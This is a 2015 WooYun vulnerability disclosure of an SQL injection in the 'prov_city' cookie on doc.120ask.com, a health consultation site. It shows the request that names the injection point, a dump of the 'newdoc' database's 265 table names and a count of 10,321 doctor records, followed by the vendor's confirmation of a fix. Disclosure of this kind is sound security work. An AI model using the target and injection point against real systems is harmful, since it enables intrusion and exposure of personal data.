当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0148370

漏洞标题：120健康网某站sql注入

相关厂商：120健康网

漏洞作者： Forever80s

提交时间：2015-10-21 16:37

修复时间：2015-12-06 11:24

公开时间：2015-12-06 11:24

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-21： 细节已通知厂商并且等待厂商处理中
2015-10-22： 厂商已经确认，细节仅向厂商公开
2015-11-01： 细节向核心白帽子及相关领域专家公开
2015-11-11： 细节向普通白帽子公开
2015-11-21： 细节向实习白帽子公开
2015-12-06： 细节向公众公开

简要描述：

详细说明：

cookie 参数prov_city注入

GET /?mod=expand HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-us,en;q=0.8,en-us,en;q=0.5
Referer: http://doc.120ask.com/
Cache-Control: no-cache
Host: doc.120ask.com
Cookie: prov_city=%e6%b5%99%e6%b1%9f|%e6%9d%ad%e5%b7%9e
Accept-Encoding: gzip, deflate


1w医生信息泄露

Database: newdoc
[265 tables]
+----------------------------------+
| language                         |
| module                           |
| session                          |
| tmp_consultlist_backup_10-20     |
| tmp_consultlist_open-backup-1125 |
| admin                            |
| apply                            |
| apply_log                        |
| complaint                        |
| consultant                       |
| consultant_1019                  |
| consultant_tmp                   |
| consultfrom                      |
| consultinfo2_10                  |
| consultinfo2_11                  |
| consultinfo2_12                  |
| consultinfo2_13                  |
| consultinfo2_14                  |
| consultinfo2_6                   |
| consultinfo2_7                   |
| consultinfo2_8                   |
| consultinfo2_9                   |
| consultinfo_10                   |
| consultinfo_11                   |
| consultinfo_12                   |
| consultinfo_13                   |
| consultinfo_14                   |
| consultinfo_15                   |
| consultinfo_16                   |
| consultinfo_17                   |
| consultinfo_18                   |
| consultinfo_19                   |
| consultinfo_20                   |
| consultinfo_21                   |
| consultinfo_22                   |
| consultinfo_23                   |
| consultinfo_24                   |
| consultinfo_25                   |
| consultinfo_26                   |
| consultinfo_27                   |
| consultinfo_28                   |
| consultinfo_29                   |
| consultinfo_30                   |
| consultinfo_31                   |
| consultinfo_32                   |
| consultinfo_33                   |
| consultinfo_5                    |
| consultinfo_6                    |
| consultinfo_7                    |
| consultinfo_8                    |
| consultinfo_9                    |
| consultinfo_del                  |
| consultinfo_open                 |
| consultlist                      |
| consultlist2                     |
| consultlist_1                    |
| consultlist_100                  |
| consultlist_100__                |
| consultlist_101                  |
| consultlist_101__                |
| consultlist_1__                  |
| consultlist_2                    |
| consultlist_2__                  |
| consultlist_3                    |
| consultlist_3__                  |
| consultlist_4                    |
| consultlist_4__                  |
| consultlist_51                   |
| consultlist_51__                 |
| consultlist_60                   |
| consultlist_60__                 |
| consultlist_7                    |
| consultlist_7__                  |
| consultlist_del                  |
| consultlist_open                 |
| consultlist_open_                |
| consultlist_sphinx               |
| doctor                           |
| doctor_1011                      |
| doctor_120509                    |
| doctor_aduser                    |
| doctor_analysis                  |
| doctor_analysis1                 |
| doctor_t                         |
| hall                             |
| health_status                    |
| help_content                     |
| hide_list                        |
| im_cost_log                      |
| info_0                           |
| info_1                           |
| info_2                           |
| info_3                           |
| info_4                           |
| info_5                           |
| info_6                           |
| info_7                           |
| info_8                           |
| info_9                           |
| ip                               |
| ip_201008                        |
| ip_201009                        |
| ip_201010                        |
| ip_201011                        |
| ip_201012                        |
| ip_201101                        |
| ip_201102                        |
| ip_201103                        |
| ip_201104                        |
| ip_201105                        |
| ip_201106                        |
| ip_201107                        |
| ip_201108                        |
| ip_201109                        |
| ip_201110                        |
| ip_201111                        |
| ip_201112                        |
| ip_201201                        |
| ip_201202                        |
| ip_201203                        |
| ip_201204                        |
| ip_201205                        |
| ip_201206                        |
| ip_201207                        |
| ip_201208                        |
| ip_201209                        |
| ip_201210                        |
| ip_201211                        |
| ip_201212                        |
| ip_201301                        |
| ip_201302                        |
| ip_201303                        |
| ip_201304                        |
| ip_201305                        |
| ip_201306                        |
| ip_201307                        |
| ip_201308                        |
| ip_201309                        |
| ip_201310                        |
| ip_201311                        |
| ip_201312                        |
| ip_201401                        |
| ip_201402                        |
| ip_201403                        |
| ip_201404                        |
| ip_201405                        |
| ip_201406                        |
| ip_201407                        |
| ip_201408                        |
| ip_201409                        |
| ip_201410                        |
| ip_201411                        |
| ip_201412                        |
| ip_201501                        |
| ip_201502                        |
| ip_201503                        |
| ip_201504                        |
| ip_201505                        |
| ip_201506                        |
| ip_201507                        |
| ip_201508                        |
| ip_201509                        |
| ip_201510                        |
| ip_201511                        |
| ip_201512                        |
| ip_201601                        |
| ip_201602                        |
| ip_201603                        |
| ip_201604                        |
| ip_201605                        |
| ip_201606                        |
| ip_201607                        |
| ip_201608                        |
| ip_201609                        |
| ip_201610                        |
| ip_201611                        |
| ip_201612                        |
| ip_201701                        |
| ip_201702                        |
| ip_201703                        |
| ip_201704                        |
| ip_201705                        |
| ip_201706                        |
| ip_201707                        |
| ip_201708                        |
| ip_201709                        |
| ip_201710                        |
| ip_201711                        |
| ip_201712                        |
| ip_201801                        |
| ip_201802                        |
| ip_201803                        |
| ip_201804                        |
| ip_201805                        |
| ip_201806                        |
| ip_201807                        |
| ip_201808                        |
| ip_201809                        |
| ip_201810                        |
| ip_201811                        |
| ip_201812                        |
| ip_201901                        |
| ip_201902                        |
| ip_201903                        |
| ip_201904                        |
| ip_201905                        |
| ip_201906                        |
| ip_201907                        |
| ip_201908                        |
| ip_201909                        |
| ip_201910                        |
| ip_201911                        |
| ip_201912                        |
| ip_202001                        |
| ip_202002                        |
| ip_202003                        |
| ip_202004                        |
| ip_202005                        |
| ip_202006                        |
| ip_202007                        |
| ip_202008                        |
| ip_202009                        |
| ip_202010                        |
| ip_202011                        |
| ip_202012                        |
| ipban                            |
| month_analyze                    |
| msglist_complaint                |
| online_time                      |
| online_time_1011_                |
| online_time_1020                 |
| online_time_1101                 |
| orders                           |
| patient                          |
| profile                          |
| qqbind                           |
| qqmessage                        |
| rate                             |
| rate_20100901                    |
| rate_20100908                    |
| rate_20109014                    |
| rate_analysis                    |
| rate_analysis_20140215           |
| rateall                          |
| reward                           |
| room_1                           |
| room_10                          |
| room_2                           |
| room_3                           |
| room_4                           |
| room_5                           |
| room_6                           |
| room_7                           |
| room_8                           |
| room_9                           |
| rooms                            |
| setting                          |
| tmp_consultlist_open2            |
| tmp_consultlist_open_1122        |
| tmp_hide_list                    |
| tmp_list_open                    |
| tmp_list_waike                   |
| user_lock_log                    |
| user_locked                      |
| user_qq                          |
+----------------------------------+
Database: newdoc
+--------+---------+
| Table  | Entries |
+--------+---------+
| doctor | 10321   |
+--------+---------+

漏洞证明：

修复方案：

版权声明：转载请注明来源 Forever80s@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-10-22 11:23

厂商回复：

已经解决，感谢

最新状态：

2015-10-22：请将联系方式发给我，表示感谢